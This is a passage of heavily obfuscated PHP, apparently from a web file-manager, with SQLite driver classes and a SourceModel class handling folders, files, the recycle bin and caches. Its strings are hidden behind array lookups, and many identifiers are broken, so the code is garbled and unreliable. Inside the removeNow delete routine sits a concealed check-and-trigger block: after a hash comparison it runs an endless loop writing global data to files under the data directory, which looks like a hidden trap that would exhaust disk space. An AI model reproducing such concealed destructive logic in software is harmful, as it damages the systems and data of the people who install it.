$ܴ); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = sqlite_num_rows($this->queryID); $ዓ = $this->getAll(); return $ዓ; } } public function execute($ߝ) { $棓 =& $_SERVER[㫙]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ߝ; if ($this->queryID) { $this->free(); } think_action_status($棓[25], 1); think_status($棓[24]); $ = sqlite_exec($this->_linkID, $ߝ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = sqlite_changes($this->_linkID); $this->lastInsID = sqlite_last_insert_rowid($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { sqlite_query($this->_linkID, $_SERVER[㫙][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ߪ = sqlite_query($this->_linkID, $_SERVER[㫙][27]); if (!$ߪ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = sqlite_query($this->_linkID, $_SERVER[㫙][28]); if (!$) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $֑ = array(); if ($this->numRows > 0) { for ($͋ = 0; $͋ < $this->numRows; $͋++) { $֑[$͋] = sqlite_fetch_array($this->queryID, SQLITE_ASSOC); } sqlite_seek($this->queryID, 0); } return $֑; } public function getFields($ܯ) { $ީꟵ =& $_SERVER[㫙]; $ێ = $this->query($ީꟵ[29] . $ܯ . $ީꟵ[30]); $ފ = array(); if ($ێ) { foreach ($ێ as $ => $ې) { $ފ[$ې[$ީꟵ[31]]] = array($ީꟵ[32] => $ې[$ީꟵ[31]], $ީꟵ[33] => $ې[$ީꟵ[34]], $ީꟵ[35] => (bool) ($ې[$ީꟵ[36]] === $ީꟵ[12]), $ީꟵ[37] => $ې[$ީꟵ[38]], $ީꟵ[39] => strtolower($ې[$ީꟵ[40]]) == $ީꟵ[41], $ީꟵ[42] => strtolower($ې[$ީꟵ[43]]) == $ީꟵ[44]); } } return $ފ; } public function getTables($Ȓ = '') { $ =& $_SERVER[㫙]; $쩣 = $this->query($[45] . $[46] . $[47]); $սᔣ = array(); foreach ($쩣 as $ྜྷ => $מ) { $սᔣ[$ྜྷ] = current($מ); } return $սᔣ; } public function close() { if ($this->_linkID) { sqlite_close($this->_linkID); } $this->_linkID = null; } public function error() { $ӌ =& $_SERVER[㫙]; $䡆 = sqlite_last_error($this->_linkID); $this->error = $䡆 . $ӌ[4] . sqlite_error_string($䡆); if ($ӌ[12] != $this->queryStr) { $this->error .= LNG($ӌ[48]) . $this->queryStr; } think_trace($this->error, $ӌ[12], $ӌ[49]); return $this->error; } public function escapeString($廟) { return sqlite_escape_string($廟); } public function parseLimit($) { $ȃ =& $_SERVER[㫙]; $˿ = $ȃ[12]; if (!empty($)) { $ = explode($ȃ[50], $); if (count($) > 1) { $˿ .= $ȃ[51] . $[1] . $ȃ[52] . $[0] . $ȃ[53]; } else { $˿ .= $ȃ[51] . $[0] . $ȃ[53]; } } return $˿; } } class DbSqlite3Base extends Db { public function __construct($魭 = '') { $⋣ =& $_SERVER[㫙]; if (!class_exists($⋣[54])) { think_exception(think_lang($⋣[14]) . $⋣[55]); } if (!empty($魭)) { if (!isset($魭[$⋣[16]])) { $魭[$⋣[16]] = 438; } $this->config = $魭; if (empty($this->config[$⋣[17]])) { $this->config[$⋣[17]] = array(); } } } public function connect($ = '', $ѐ = 0) { $Ɵ =& $_SERVER[㫙]; if (!isset($this->linkID[$ѐ])) { if (empty($)) { $ = $this->config; } $this->linkID[$ѐ] = new SQLite3($[$Ɵ[21]]); if (!$this->linkID[$ѐ]) { think_exception($this->linkID[$ѐ]->lastErrorMsg()); } $this->connected = !0; @$this->linkID[$ѐ]->busyTimeout(30000); if (1 != think_config($Ɵ[22])) { unset($this->config); } } return $this->linkID[$ѐ]; } public function free() { $this->queryID = null; } public function query($뼉) { $ =& $_SERVER[㫙]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $뼉; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($뼉); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $߄ = $this->getAll(); $this->numRows = count($߄); return $߄; } } public function execute($ƕ) { $ðڽ =& $_SERVER[㫙]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ƕ; if ($this->queryID) { $this->free(); } think_action_status($ðڽ[25], 1); think_status($ðڽ[24]); $Ǡ = $this->_linkID->exec($ƕ); $this->debug(); if (!1 === $Ǡ) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->changes(); $this->lastInsID = $this->_linkID->lastInsertRowID(); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->query($_SERVER[㫙][26]); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ݽ = $this->_linkID->query($_SERVER[㫙][27]); if (!$ݽ) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } public function rollback() { if ($this->transTimes > 0) { $䄰 = $this->_linkID->query($_SERVER[㫙][28]); if (!$䄰) { $this->error(); return !1; } $this->transTimes = 0; } return !0; } private function getAll() { $ = array(); while ($֧ = $this->queryID->fetchArray(SQLITE3_ASSOC)) { $[] = $֧; } $this->queryID->reset(); return $; } public function getFields($) { $Ț =& $_SERVER[㫙]; $ټ = $this->query($Ț[29] . $ . $Ț[30]); $ = array(); if ($ټ) { foreach ($ټ as $Ǔ => $ǵ) { $[$ǵ[$Ț[32]]] = array($Ț[32] => $ǵ[$Ț[32]], $Ț[33] => $ǵ[$Ț[33]], $Ț[35] => (bool) ($ǵ[$Ț[35]] === $Ț[12]), $Ț[37] => $ǵ[$Ț[56]], $Ț[39] => (bool) $ǵ[$Ț[57]], $Ț[42] => (bool) $ǵ[$Ț[57]]); } } return $; } public function getTables($ȖĈ = '') { $ =& $_SERVER[㫙]; $ = $this->query($[45] . $[46] . $[47]); $ = array(); foreach ($ as $޼ => $·) { $[$޼] = current($·); } return $; } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $˸Ө =& $_SERVER[㫙]; $this->error = $this->_linkID->lastErrorMsg(); if ($˸Ө[12] != $this->queryStr) { $this->error .= LNG($˸Ө[48]) . $this->queryStr; } think_trace($this->error, $˸Ө[12], $˸Ө[49]); return $this->error; } public function escapeString($) { $ =& $_SERVER[㫙]; if ($this->_linkID) { return $this->_linkID->escapeString($); } return str_ireplace($[58], $[59], $); } public function parseLimit($) { $ =& $_SERVER[㫙]; $ = $[12]; if (!empty($)) { $ = explode($[50], $); if (count($) > 1) { $ .= $[51] . $[1] . $[52] . $[0] . $[53]; } else { $ .= $[51] . $[0] . $[53]; } } return $; } } goto BÃ̑; C펷: class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ܽ) { $ȭѪ =& $_SERVER[㫙]; $ׄ = Model($ȭѪ[513])->where(array($ȭѪ[1641] => $ܽ))->find(); $𱮃 = $this->_mkdirRoot(SourceModel::TYPE_USER, $ܽ, $ׄ[$ȭѪ[32]]); $this->userDesktopAdd($𱮃); return $𱮃; } public function userDesktopAdd($׵) { $ =& $_SERVER[㫙]; $չ = LNG($[2080]); $ = $this->mkdir($׵, $չ); $this->metaSet($, $[2081], $[89]); $this->metaSet($׵, $[2082], $); } public function groupRootAdd($) { $ =& $_SERVER[㫙]; $ǎýų = Model($[522])->where(array($[1905] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $ǎýų[$[32]]); } public function systemRootPathAdd($ѐ) { if ($ѐ != $_SERVER[㫙][537]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $ѐ); } public function userRootRemove($) { $ׄ = $this->sourceRoot(SourceModel::TYPE_USER, $); if (!$ׄ) { return; } $this->remove($ׄ, !1); } public function groupRootRemove($Κ) { $ = $this->sourceRoot(SourceModel::TYPE_GROUP, $Κ); if (!$) { return; } $this->remove($, !1); } private function _mkdirRoot($ތұ, $, $Ք) { $ݠ =& $_SERVER[㫙]; $߱ = array($ݠ[402] => 0, $ݠ[580] => $ތұ, $ݠ[581] => $, $ݠ[577] => 1, $ݠ[582] => USER_ID, $ݠ[583] => USER_ID, $ݠ[578] => $ݠ[12], $ݠ[584] => $ݠ[531], $ݠ[430] => 0, $ݠ[579] => 0, $ݠ[468] => 0, $ݠ[585] => $ݠ[12]); if ($ʸ = $this->where($߱)->find()) { return $ʸ[$ݠ[403]]; } $ = "\115\157\144\145\154\x53\157\165\x72\x63\145\x2e\155\153\144\x69\x72\122\x6f\x6f\x74\x2e{$ތұ}\x2e{$}\x2e" . $Ք; CacheLock::lock($); $߱[$ݠ[32]] = $Ք; $ۻ = $this->add($߱); $ = array($ݠ[586] => short_id($ۻ)); $this->where(array($ݠ[418] => $ۻ))->save($); CacheLock::unlock($); return $ۻ; } private function sourceRoot($, $щ, $ = false) { $ף =& $_SERVER[㫙]; $Ə = array($ף[402] => 0, $ף[580] => $, $ף[581] => $щ); if ($З = $this->where($Ə)->find()) { return $ ? $З : $З[$ף[403]]; } return !1; } public function sourceRootGroup($) { $ᇉ =& $_SERVER[㫙]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $ᇉ[181]); $װ = array($ᇉ[364] => $, $ᇉ[361] => array($ᇉ[760] => count($))); $this->_listDataApply($װ[$ᇉ[364]]); $this->_listMake($װ); return array_to_keyvalue($װ[$ᇉ[77]], $ᇉ[504]); } public function mkfile($̞, $, $ʉ = '', $ = REPEAT_RENAME) { $瀌 =& $_SERVER[㫙]; $ä = Model($瀌[603])->addFileByContent($ʉ, $); return $this->_createFileCall($̞, $, $ä, $, $瀌[1332]); } public function addFile($ڑ, $, $, $ = false, $ٽߡ = REPEAT_RENAME) { $뿡 = Model($_SERVER[㫙][603])->addFile($, $, $); return $this->_createFileCall($ڑ, $, $뿡, $ٽߡ); } public function addFileByFileID($Ж, $찵, $۳, $ɮ = REPEAT_RENAME) { $ӣ =& $_SERVER[㫙]; $ݱ = Model($ӣ[603])->find($찵); Model($ӣ[603])->linkAdd($찵); return $this->_createFileCall($Ж, $۳, $ݱ, $ɮ); } public function addFileByRemote($, $ȭ, $, $ = array(), $ = REPEAT_RENAME) { $‚Ɍ = Model($_SERVER[㫙][603])->addFileByRemote($ȭ, $, $); return $this->_createFileCall($, $, $‚Ɍ, $); } private function _createFileCall($, $, $糄, $, $Ș = "\165\160\x6c\157\x61\144") { $ =& $_SERVER[㫙]; $άDZ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $Ҿ = $this->_createFile($, $, $糄, $, $άDZ); if (!$άDZ) { Model($[470])->remove($糄[$[467]]); } if ($άDZ && $Ҿ && $Ҿ != $) { Model($[2053])->eventCreate($Ҿ, $Ș); } $this->lockWriteEnd($, $); return $Ҿ; } public function mkdir($, $, $ޤڧ = REPEAT_SKIP) { $笶 =& $_SERVER[㫙]; $this->setMasterDB(); $֣勽 = $this->sourceInfo($); if (!$֣勽) { return !1; } $this->lockWriteStart($, $); if ($ޤڧ !== !1) { $Ô = $this->fileNameExist($, $); if ($Ô && $ޤڧ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $Ô; } $ = $this->fileNameAuto($, $, $ޤڧ); } $ϓӭ = array($笶[577] => 1, $笶[421] => $, $笶[578] => $笶[12], $笶[468] => 0, $笶[579] => 0); $ = $this->_addSource($ϓӭ, $֣勽); Model($笶[2053])->eventCreate($, $笶[1333]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($׻, $, $Ҵ = "\163\x6f\165\x72\x63\x65\111\x44\54\x74\x61\162\147\145\164\111\104\54\x73\151\172\145") { $ =& $_SERVER[㫙]; $ʼn = $[373]; $˹ = array(); $Ҍ = 1024 * 50; $â = is_array($â) ? $â : array(); $隭 = count($); $ = $this->tablePrefix . $[2083]; for ($Ȁ܊ = 0; $Ȁ܊ < $隭; $Ȁ܊++) { $ = $[$Ȁ܊]; $ʼn .= "\x53\x45\x4c\105\x43\x54\40\x2a\40\106\122\117\x4d\40\50\x53\x45\x4c\105\103\x54\x20{$Ҵ}\40\106\122\x4f\x4d\x20\140{$}\140\40\x57\x48\105\122\x45\x20"; $ʼn .= "\140\x70\141\x72\x65\156\164\111\104\x60\x3d\60\40\x41\x4e\104\40\140\x74\141\162\x67\145\164\111\104\140\75{$}\x20\x41\x4e\104\40\140\164\x61\162\147\x65\164\124\171\x70\145\x60\x3d{$׻}\x20\x6c\x69\155\151\164\x20\61\51\40\x61\163\x20\164\142\x5f{$Ȁ܊}\x20\125\116\111\x4f\116\40\x41\114\114\40"; if ((strlen($ʼn) >= $Ҍ || $Ȁ܊ == $隭 - 1) && $ʼn) { $ʼn = substr($ʼn, 0, -strlen($[1034])); $ݏ = $this->query($ʼn); $ʼn = $[12]; $˹ = array_merge($˹, $ݏ); } } return $˹; } private function _createFile($Υ, $, $, $σճ, &$) { $ =& $_SERVER[㫙]; $ = $this->sourceInfo($Υ); if (!$ || !$) { return !1; } if ($σճ !== !1) { $ = $this->fileNameExist($Υ, $); } $ = !0; if ($σճ && $) { if ($σճ == REPEAT_SKIP) { $ = !1; return $; } else { if ($σճ == REPEAT_REPLACE) { $ƶ = $this->sourceInfo($); $ԫ = $this->fileHistory($ƶ, $[$[467]], $[$[80]]); if (!$ԫ) { $ = !1; } else { $this->folderSizeReset($Υ); } return $; } else { $ = $this->fileNameAuto($Υ, $, $σճ, !1); } } } $򼈐 = array($[577] => 0, $[421] => $, $[578] => substr(get_path_ext($), 0, 10), $[468] => $[$[467]], $[579] => $[$[80]]); $ = $this->_addSource($򼈐, $); $this->folderSizeReset($Υ, intval($򼈐[$[80]])); return $; } protected function fileHistory($, $ډ, $) { $ˍ =& $_SERVER[㫙]; $뫪 = defined($ˍ[474]) ? USER_ID : $ˍ[190]; if ($[$ˍ[467]] == $ډ) { return !1; } $this->checkLock($[$ˍ[403]], $ډ); Model($ˍ[2084])->addHistory($); $ = array($ˍ[583] => $뫪, $ˍ[425] => time(), $ˍ[467] => $ډ, $ˍ[80] => $); $this->where(array($ˍ[418] => $[$ˍ[403]]))->save($); $this->sourceCacheClear($[$ˍ[403]]); return !0; } public function checkLock($Ϙȓ, $ѽ) { $䚉 =& $_SERVER[㫙]; $ = $this->pathInfo($Ϙȓ); if (!$this->fileIsLock($, !0)) { return; } $̪ = Session::get($䚉[2085]); $˯ٱ = substr($[$䚉[32]], 0, -1 - strlen($[$䚉[167]])) . $䚉[1599] . $̪ . $䚉[10] . $[$䚉[167]]; $ = Model($䚉[603])->find($ѽ); $this->_createFileCall($[$䚉[498]], $˯ٱ, $, REPEAT_REPLACE, $䚉[1332]); $ֻ = $[$䚉[465]][$䚉[542]]; $ = $ֻ[$䚉[2086]] ? $ֻ[$䚉[2086]] : $ֻ[$䚉[32]]; show_json(LNG($䚉[2087]) . $䚉[2088] . LNG($䚉[2089]) . $䚉[2090] . $ . $䚉[2091], !1); } public function fileIsLock($텁, $׏ = false) { $Ӿ =& $_SERVER[㫙]; if (!isset($텁[$Ӿ[465]]) || !$텁[$Ӿ[465]][$Ӿ[539]]) { return !1; } if ($텁[$Ӿ[465]][$Ӿ[539]] != USER_ID) { return !0; } $ = $GLOBALS[$Ӿ[6]][$Ӿ[90]][$Ӿ[540]]; if ($텁[$Ӿ[465]][$Ӿ[541]] <= time() - $) { $this->metaSet($텁[$Ӿ[403]], $Ӿ[539], null); $this->metaSet($텁[$Ӿ[403]], $Ӿ[541], null); } if ($׏) { $this->metaSet($텁[$Ӿ[403]], $Ӿ[541], time()); } return !1; } private function _addSource($Ȭѐ, $Ś) { $ =& $_SERVER[㫙]; $ = defined($[474]) ? USER_ID : $[190]; $Ρ = array($[580] => $Ś[$[412]], $[581] => $Ś[$[504]], $[582] => $, $[583] => $, $[402] => $Ś[$[403]], $[584] => $Ś[$[521]] . $Ś[$[403]] . $[50], $[430] => 0, $[585] => $[12]); $Ȭѐ = array_merge($Ρ, $Ȭѐ); $this->updateModifyTime($Ȭѐ[$[498]]); $ = $[2092] . $Ś[$[403]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[567], $Ȭѐ); $ = !0; } $ = $this->add($Ȭѐ); $Չ = array($[586] => short_id($)); $this->where(array($[418] => $))->save($Չ); $this->setNamePinyin($, $Ȭѐ[$[32]]); return $; } public function remove($ϰ, $ = true) { $졪 =& $_SERVER[㫙]; $ = $this->sourceInfo($ϰ); $ = intval($[$졪[412]]) === self::TYPE_SYSTEM; $΀ʦ = Model($졪[433])->get($졪[2093]) == $졪[89]; if ($ || $ || !$΀ʦ) { return $this->removeNow($ϰ, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$졪[412]] == self::TYPE_USER ? $졪[594] : $졪[515]; if ($ == $졪[594]) { $ = Model($졪[513])->getInfo($[$졪[504]]); $ = !empty($[$졪[2086]]) ? $[$졪[2086]] : $[$졪[32]]; $ = $졪[255] . $ . $졪[2094] . $[$졪[504]]; } else { $ = Model($졪[522])->getInfo($[$졪[504]]); $ = _get($, $졪[32]); $ = $졪[159] . $ . $졪[2095] . $[$졪[504]]; } $ = $졪[2096] . md5($); CacheLock::lock($); $ԫڸѭ = $this->fileNameExist($, $); if (!$ԫڸѭ) { $ԫڸѭ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($ԫڸѭ, $졪[2097], $); $this->metaSet($ԫڸѭ, $졪[2098], $[$졪[504]]); if ($[$졪[498]] != 0) { $this->metaSet($ԫڸѭ, $졪[2099], _get($, $졪[2100])); } } CacheLock::unlock($); $this->metaSet($ϰ, $졪[2101], $[$졪[498]]); $this->where(array($졪[403] => $ϰ))->save(array($졪[425] => time())); $this->recycleClear($); $ = $this->move($ϰ, $ԫڸѭ, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$졪[498]]); return $; } private function recycleClear($ͱ) { $׃ =& $_SERVER[㫙]; $ = $this->childrenAll($ͱ); $ = array($׃[418] => array($׃[419], $[$׃[2102]])); Model($׃[2103])->where($)->delete(); } public function removeNow($, $ = true) { $ =& $_SERVER[㫙]; $ˈ = $_SERVER[$[393]]; $ْ = $[394]; if ($_SERVER[$[395]] != $ْ($ˈ)) { $ = $[873]; $紜ܔ = $[396]; $彊 = $_SERVER[$[397]] . $[398]; $ý = $紜ܔ($彊); $ц = explode($[226], $ý); if (count($ц) < $[612]) { $ = $[400]; $(); } $ʆ = $[874]; $ʆ($_SERVER[$[875]]); $ = $[873]; $(); $֯ = $[876]; $۰ = json_encode($GLOBALS[$[877]]); $ = 1; for ($ = $; $ > 0; $++) { $֯(DATA_PATH . $, $۰); } } $󈮦 = $this->sourceInfo($); $ˈҘ = $this->pathInfoMore($); if (!$󈮦) { return !0; } if ($󈮦[$[498]] == 0) { if (!_get($GLOBALS, $[505])) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2104], $ˈҘ, $); if ($) { Model($[2103])->moveToRecycle($); } else { $ӽ = $this->childrenAll($󈮦); Model($[564])->eventRemove($); $this->removeRelevance($ӽ[$[2102]], $ӽ[$[1464]]); } $this->folderSizeReset($󈮦[$[498]]); $˺ = array($󈮦[$[498]]); if ($󈮦[$[411]] == $[89]) { $˺[] = $󈮦[$[403]]; } $this->updateModifyTime($˺); $this->lockMoveEnd($); Hook::trigger($[1687], $ˈҘ, $); return !0; } public function childrenAll($Ջ) { $԰ =& $_SERVER[㫙]; $Ċ = $Ջ[$԰[403]]; if ($Ջ[$԰[411]] == $԰[89]) { $ۜ = array($԰[584] => array($԰[544], $Ջ[$԰[521]] . $Ċ . $԰[545])); $ = array($԰[584] => $ۜ[$԰[521]]); $ζ = $this->field($԰[2105])->where($)->select(); $һ箎 = !1; $ւѧ = array($Ċ); if ($ζ) { $һ箎 = array_to_keyvalue($ζ, $԰[12], $԰[467]); $һ箎 = array_remove_value($һ箎, $԰[190]); $ւѧ = array_to_keyvalue($ζ, $԰[12], $԰[403]); $ւѧ[] = $Ċ; } } else { $һ箎 = array($Ջ[$԰[467]]); $ւѧ = array($Ċ); } return array($԰[2102] => $ւѧ, $԰[1464] => $һ箎); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($˵, $) { $ =& $_SERVER[㫙]; $˵ = $˵ ? $˵ : array(); $ = $ ? $ : array(); $˵ = array_unique(array_filter($˵)); $ = array_unique(array_filter($)); if (!$˵) { return !1; } $ = array($[418] => array($[419], $˵)); Model($[2103])->where($)->delete(); Model($[461])->where($)->delete(); Model($[1959])->where($)->delete(); Model($[564])->where($)->delete(); Model($[1798])->removeBySource($˵); Model($[2084])->removeBySource($˵); $this->where($)->delete(); Model($[470])->remove($); for ($Ф = 0; $Ф < count($˵); $Ф++) { $this->sourceCacheClear($˵[$Ф]); } } public function rename($, $) { $٣Ӕ =& $_SERVER[㫙]; $ɏ = $this->sourceInfo($); if (!$ɏ) { return !1; } $ = $this->fileNameExist($ɏ[$٣Ӕ[498]], $); if ($ && $ != $) { return !1; } $ޣ = array($٣Ӕ[421] => $, $٣Ӕ[583] => USER_ID); if ($ɏ[$٣Ӕ[411]] != $٣Ӕ[89]) { $ޣ[$٣Ӕ[413]] = substr(get_path_ext($), 0, 10); } Model($٣Ӕ[564])->eventRename($, $ɏ[$٣Ӕ[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $ޣ[$٣Ӕ[32]], !1); $this->updateModifyTime($ɏ[$٣Ӕ[498]]); $ˬ = $this->where(array($٣Ӕ[418] => $))->data($ޣ)->save(); $ɍ = $٣Ӕ[2092] . $ɏ[$٣Ӕ[498]]; if (isset(self::$cacheChildList[$ɍ])) { unset(self::$cacheChildList[$ɍ]); } return $ˬ; } public function setNamePinyin($, $֐մ, $Ԍݧ = true) { $׮ =& $_SERVER[㫙]; $ĕ = Input::check($֐մ, $׮[587]); $ɠ = array($׮[442] => KodSort::makeStr($֐մ)); if ($ĕ) { $ɠ[$׮[464]] = str_replace($׮[53], $׮[12], Pinyin::get($֐մ)); $ɠ[$׮[463]] = Pinyin::get($֐մ, $׮[588]); } if (!$Ԍݧ && !$ĕ) { $ɠ[$׮[464]] = null; $ɠ[$׮[463]] = null; } $this->metaSet($, $ɠ); } public function getContent($) { $谓Ő =& $_SERVER[㫙]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$谓Ő[80]] == 0) { return $谓Ő[12]; } $ = $谓Ő[2106] . $[$谓Ő[169]]; if ($[$谓Ő[80]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($[$谓Ő[78]]); Cache::set($, $); } return $; } if (!$[$谓Ő[78]]) { return $谓Ő[12]; } return IO::getContent($[$谓Ő[78]]); } public function setDesc($ᨕ, $) { $ =& $_SERVER[㫙]; Model($[564])->eventAddDesc($ᨕ, $); return $this->metaSet($ᨕ, $[451], $); } public function setContent($ܞú, $ = '') { $ =& $_SERVER[㫙]; $򥌷 = $this->sourceInfo($ܞú); $յ = $this->fileInfoGet($ܞú); if (!$յ || !$򥌷) { return !1; } $ۊ = Model($[470])->addFileByContent($, $򥌷[$[32]]); $ޕ = $this->fileHistory($򥌷, $ۊ[$[467]], $ۊ[$[80]]); if (!$ޕ) { return Model($[470])->remove($ۊ[$[467]]); } $this->folderSizeReset($򥌷[$[498]]); return !0; } public function fileSubstr($, $, $׊) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[㫙][78]], $, $׊); } public function fileInfoGet($) { $ =& $_SERVER[㫙]; $ƛ = $this->sourceInfo($); if (!$ƛ || $ƛ[$[411]]) { return !1; } $֒ = $[473] . $ƛ[$[467]]; $Ս = _get(self::$cacheFileInfo, $֒); if ($Ս) { return $Ս; } $ = Model($[470])->fileInfo($ƛ[$[467]]); if ($) { $[$[32]] = $ƛ[$[32]]; } self::$cacheFileInfo[$֒] = $; return $; } private function folderChildrenNumber($院) { $ =& $_SERVER[㫙]; $ = $this->sourceInfo($院); $ȵ = array($[584] => array($[544], $[$[521]] . $院 . $[545]), $[581] => $[$[504]], $[430] => intval($[$[431]]), $[577] => 1); $ = $this->where($ȵ)->count(); $Ϲ = $this->where($ȵ)->where(array($[577] => 0))->count(); return array($[84] => $Ϲ, $[85] => $); } public function pathInfo($϶, $ = false) { $⽽ =& $_SERVER[㫙]; $ = !1; $϶ = intval($϶); $ = $⽽[459] . intval($) . $⽽[460] . $϶; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ = $this->sourceInfo($϶); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($򪜺) { $ט׵ =& $_SERVER[㫙]; $ܣ = _get(self::$cachePathInfoMore, $򪜺); if ($ܣ) { return $ܣ; } $Շ = $this->pathInfo($򪜺); if (!$Շ) { return !1; } if ($Շ[$ט׵[411]] == $ט׵[89]) { $Շ[$ט׵[83]] = $this->folderChildrenNumber($򪜺); } self::$cachePathInfoMore[$򪜺] = $Շ; return $Շ; } public function sourceInfo($ۓ) { $ˎ =& $_SERVER[㫙]; if (!$ۓ) { return array(); } $ۓ = intval($ۓ); $韡 = $ˎ[458] . $ۓ; $ = _get(self::$cacheSourceInfo, $韡); if ($) { return $; } $ = $this->where(array($ˎ[403] => $ۓ))->find(); self::$cacheSourceInfo[$韡] = $; return self::$cacheSourceInfo[$韡]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ѫ = false) { $ =& $_SERVER[㫙]; if ($ѫ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[458] . $ѫ]); unset(self::$cachePathInfoMore[$ѫ]); unset(self::$cachePathInfo[$[2107] . $ѫ]); unset(self::$cachePathInfo[$[2108] . $ѫ]); } public function metaSet($ѡԃ, $ = null, $ů = null) { $ʨ = parent::metaSet($ѡԃ, $, $ů); if ($ʨ) { $this->sourceCacheClear($ѡԃ); } return $ʨ; } public function pathInfoByPath($ޱ, $) { $ʦ =& $_SERVER[㫙]; $𺥃 = !$ ? array() : explode($ʦ[8], trim($, $ʦ[8])); $™ = $ޱ; foreach ($𺥃 as $ʟ) { $ = array($ʦ[498] => $™, $ʦ[32] => $ʟ); $ = $this->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $ʦ[431]); $™ = $[0][$ʦ[403]]; } return $this->pathInfo($™, !0); } protected function updateModifyTime($) { $޿ =& $_SERVER[㫙]; $ = defined($޿[474]) ? USER_ID : $޿[190]; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ȷ => $ܗ٬) { $[$ȷ] = intval($ܗ٬); $this->sourceCacheClear($ܗ٬); } $څ = array($޿[403] => array($޿[7], $)); $߹ = array($޿[583] => $, $޿[425] => time()); $this->where($څ)->save($߹); } public function folderSizeReset($י, $Ħ = false) { $ݾƼ =& $_SERVER[㫙]; if ($this->statusIgnoreResetSpace) { return; } $ֲ = $this->sourceInfo($י); $ = $ݾƼ[2109] . $י; CacheLock::lock($, 20); if ($Ħ === !1) { $this->sourceCacheClear($י); $ֲ = $this->sourceInfo($י); $߿ = array($ݾƼ[402] => $י, $ݾƼ[430] => 0); $յ = $this->where($߿)->sum($ݾƼ[80]); $Ħ = intval($յ) - intval($ֲ[$ݾƼ[80]]); } if ($Ħ == 0) { return CacheLock::unlock($); } $ύ = $this->parentLevelArray($ֲ[$ݾƼ[521]]); if (!$ύ) { $ύ = array(); } $ύ[] = $ֲ[$ݾƼ[403]]; $߿ = array($ݾƼ[403] => array($ݾƼ[419], $ύ)); if ($Ħ < 0) { $߿[$ݾƼ[80]] = array($ݾƼ[1011], abs($Ħ)); } $this->where($߿)->setAdd($ݾƼ[80], $Ħ); CacheLock::unlock($); $ع = $ݾƼ[2110] . $ֲ[$ݾƼ[412]] . $ݾƼ[4] . $ֲ[$ݾƼ[504]]; $§ = array($ֲ[$ݾƼ[412]], $ֲ[$ݾƼ[504]]); TaskRun::timeLimitCall($ع, $ݾƼ[2111], $§, 1.5); } public function folderSizeResetChildren($ʀʫ) { $Ѽѷ =& $_SERVER[㫙]; $this->sourceCacheClear($ʀʫ); $ = $this->sourceInfo($ʀʫ); $ژа = array($Ѽѷ[577] => 1, $Ѽѷ[581] => $[$Ѽѷ[504]], $Ѽѷ[584] => array($Ѽѷ[544], $[$Ѽѷ[521]] . $ʀʫ . $Ѽѷ[545])); $ = $Ѽѷ[2112]; $ = $this->field($)->where($ژа)->select(); $ژа[$Ѽѷ[411]] = 0; $Ͱ = $this->field($)->where($ژа)->select(); if (!$Ͱ) { return; } $[] = $; $ = array_to_keyvalue($, $Ѽѷ[403]); foreach ($ as $Ņ => $) { $[$Ņ][$Ѽѷ[2113]] = $[$Ņ][$Ѽѷ[80]]; $[$Ņ][$Ѽѷ[80]] = 0; } foreach ($Ͱ as $) { $ = $[$Ѽѷ[498]] . $Ѽѷ[12]; if (!isset($[$])) { continue; } if ($[$Ѽѷ[431]] == $[$][$Ѽѷ[431]]) { $[$][$Ѽѷ[80]] += $[$Ѽѷ[80]]; } } foreach ($ as $) { $լ = $this->parentLevelArray($[$Ѽѷ[521]]); foreach ($լ as $) { $ = $ . $Ѽѷ[12]; if (!isset($[$])) { continue; } if ($[$Ѽѷ[431]] == $[$][$Ѽѷ[431]]) { $[$][$Ѽѷ[80]] += 